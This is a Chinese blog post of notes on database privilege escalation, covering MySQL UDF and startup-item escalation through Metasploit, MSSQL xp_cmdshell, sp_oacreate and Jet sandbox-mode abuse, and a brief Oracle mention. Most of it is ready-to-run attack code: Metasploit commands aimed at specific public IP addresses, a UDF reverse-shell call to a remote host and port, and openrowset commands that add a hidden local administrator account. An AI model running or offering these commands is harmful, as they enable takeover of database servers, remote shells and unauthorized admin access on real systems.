首页 > 数据库 >数据库提权(一)

数据库提权(一)

时间:2023-03-18 16:58:37浏览次数:33  
标签:configure exec 数据库 sp 提权 xp select

获取数据库最高权限用户名、密码

1.SQL注入获取最高权限

2.webshell后查找与用户相关的文件

3.查找源码中的数据库配置文件

MYSQL提权

1.UDF提权

​ 1.先获取数据库版本和安装目录

			select version()
			select @@basedir

​ 2. <5.2 导出目录C:/windows或system32

​ >=5.2 导出目录:安装目录/lib/plugin/

  1. 使用MSF进行UDF提权

    提权前先开启外连:

    GRANT ALL PRIVILEGES ON *.* TO '帐号'@'%' IDENTIFIED BY '密码' WITH GRANT OPTION;
    

    msf 导出dll文件、提权

  2. 将dll文件绑定在一个函数名上,调用函数来实现远程执行命令。

总过程代码:

MSF:(前提先开外链)
use exploit/multi/mysql/mysql_udf_payload
set payload windows/meterpreter/reverse_tcp
set password root
set rhosts 47.102.195.100
run
Navicat:
开外联后使用MSF导出,在执行后续命令调用执行
select * from mysql.func where name = "sys_exec"; //查看
create function sys_eval returns string soname "WqkerHcA.dll";//创建函数绑定dll
select sys_eval("whoami");//调用函数进行命令执行

2.启动项提权

利用msf模块实现后门的写入,当目标重启后,后门自动执行。

总代码:

MSF:(前提先开外链)
use exploit/windows/mysql/mysql_start_up
set rhosts 47.102.195.100
set username root
set password root
run

3.反弹Shell

总代码:

https://blog.csdn.net/weixin_43801718/article/details/105493042
use mysql;
set @a=concat('',
create table Ghost(data LONGBLOB);
insert into Ghost values("");update Ghost set data = @a;
select data from Ghost into DUMPFILE 'C:\\phpstudy\\PHPTutorial\\MySQL\\lib\\plugin\\udf.dll';
create function backshell returns string soname 'udf.dll';
select backshell('47.94.236.117',7788)

4.MOF提权(成功率不高)

MSQQL提权

xp_cmdshell&sp_oacreate&沙盒

xp-shell

EXEC master.dbo.xp_cmdshell '命令'

关于功能的开启和关闭:

启用:
EXEC sp_configure 'show advanced options', 1
RECONFIGURE;
EXEC sp_configure 'xp_cmdshell', 1;
RECONFIGURE;
关闭:
exec sp_configure 'show advanced options', 1;
reconfigure;
exec sp_configure 'xp_cmdshell', 0;
reconfigure;

如果xp_cmdshell被删除了,可以上传xplog70.dll进行恢复

exec master.sys.sp_addextendedproc 'xp_cmdshell', 'C:\Program Files\Microsoft SQL Server\MSSQL\Binn\xplog70.dll'

sp_oacreate

主要是用来调用OLE对象,利用OLE对象的run方法执行系统命令。

启用:

EXEC sp_configure 'show advanced options', 1;   

RECONFIGURE WITH OVERRIDE;   

EXEC sp_configure 'Ole Automation Procedures', 1;   

RECONFIGURE WITH OVERRIDE;   

关闭:

EXEC sp_configure 'show advanced options', 1;

RECONFIGURE WITH OVERRIDE;   

EXEC sp_configure 'Ole Automation Procedures', 0;   

RECONFIGURE WITH OVERRIDE;  

执行:

declare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod @shell,'run',null,'c:\windows\system32\cmd.exe /c whoami >c:\\1.txt'

沙盒模式

exec sp_configure 'show advanced options',1;reconfigure; 

-- 不开启的话在执行xp_regwrite会提示让我们开启,

exec sp_configure 'Ad Hoc Distributed Queries',1;reconfigure;

--关闭沙盒模式,如果一次执行全部代码有问题,先执行上面两句代码。

exec master..xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Jet\4.0\Engines','SandBoxMode','REG_DWORD',0; 

--查询是否正常关闭,经过测试发现沙盒模式无论是开,还是关,都不会影响我们执行下面的语句。

exec master.dbo.xp_regread 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Jet\4.0\Engines', 'SandBoxMode' 

--执行系统命令

select * from openrowset('microsoft.jet.oledb.4.0',';database=c:/windows/system32/ias/ias.mdb','select shell("net user margin margin /add")') 

select * from openrowset('microsoft.jet.oledb.4.0',';database=c:/windows/system32/ias/ias.mdb','select shell("net localgroup administrators margin /add")')

沙盒模式SandBoxMode参数含义(默认是2)

0:在任何所有者中禁止启用安全模式

1 :为仅在允许范围内

2 :必须在access模式下

3:完全开启

openrowset是可以通过OLE DB访问SQL Server数据库,OLE DB是应用程序链接到SQL Server的的驱动程序。

--恢复配置

--exec master..xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Jet\4.0\Engines','SandBoxMode','REG_DWORD',1; 

--exec sp_configure 'Ad Hoc Distributed Queries',0;reconfigure; 

--exec sp_configure 'show advanced options',0;reconfigure;

oracle提权

在相关jsp文件中获取到账号,密码,利用工具的三种模式进行权限的判断和提权

标签:configure,exec,数据库,sp,提权,xp,select
From: https://www.cnblogs.com/arongsec/p/17231157.html

相关文章

  • Windows本地用户提权(二)
    BypassUAC提权MSF模块UAC:用户控制机制windows7:useexploit/windows/local/bypassuagetsystemwindows10:方法一:useexploit/windows/local/ask\钓鱼攻击,需要......
  • Windows本地用户提权(一)
    本地用户提权AT命令提权(适用于sever2003及win7以前)普通用户在cmd中输入at时间/interactivecmd到时间后会弹出新的cmd窗口,该窗口的用户权限是systemSC命令提权(......
  • Zabbix监控OpenGauss数据库指南
    1.1、 简介OpenGauss作为开源数据库官方支持使用zabbix作为监控运维系统,并提供了源码安装包的下载地址和操作指导。同样Zabbix也是开源软件并发布了许多成熟稳定的LTS版......
  • 数据库表操作
    1.创建表格式create table《表名》《列名》《数据类型》《列级完整性约束定义》【表级完整性约束定义】create tablesc(sno char(7) notnull,cnochar(6)notn......
  • flask-数据库
    mysql安装:centos服务器安装mariadbyum-ymariadb-serverwin开发机直接安装绿色免安装版mysql.搭配HeidiSQL,如果需要远程连接服务器上数据库用xshell驱动安装f......
  • 【每日进步一点点系列】七道精选 数据库 实习面试题
    目录​​前言​​​​1.InnoDB和MyISAM的区别​​​​2.数据库的索引是什么结构,为什么不用哈希表?​​​​3.聚簇索引和非聚簇索引​​​​4.索引怎么实现的B+树,为什么选这......
  • 什么是数据库连接池
    每次数据库连接都要断开重连浪费时间,性能【底层需要tcp连接】  资源复用;提升系统响应速度;避免数据库连接遗漏;【长时间不操作会强制断开】  使用: ......
  • 嵌入式数据库-分析型数据库-DuckDB
    数据库按照是否是关系型关系型数据库可分为交易型数据库(OLTP)、分析型数据库(OLAP)和混合负载数据库(HTAP)。交易型数据库满足处理在线的实时交易事务场景,......
  • mysql-information_schema 数据库
    1概述information_schema数据库跟performance_schema一样,都是MySQL自带的信息数据库。其中performance_schema用于性能分析,而information_schema用于存储数据库......
  • 使用Navicat连接的PostgreSQL数据库
    1、切换到posgres用户:su-postgerssu-postgres#切换postgres用户psql#进入psql交互命令行\l#查看数据库列表......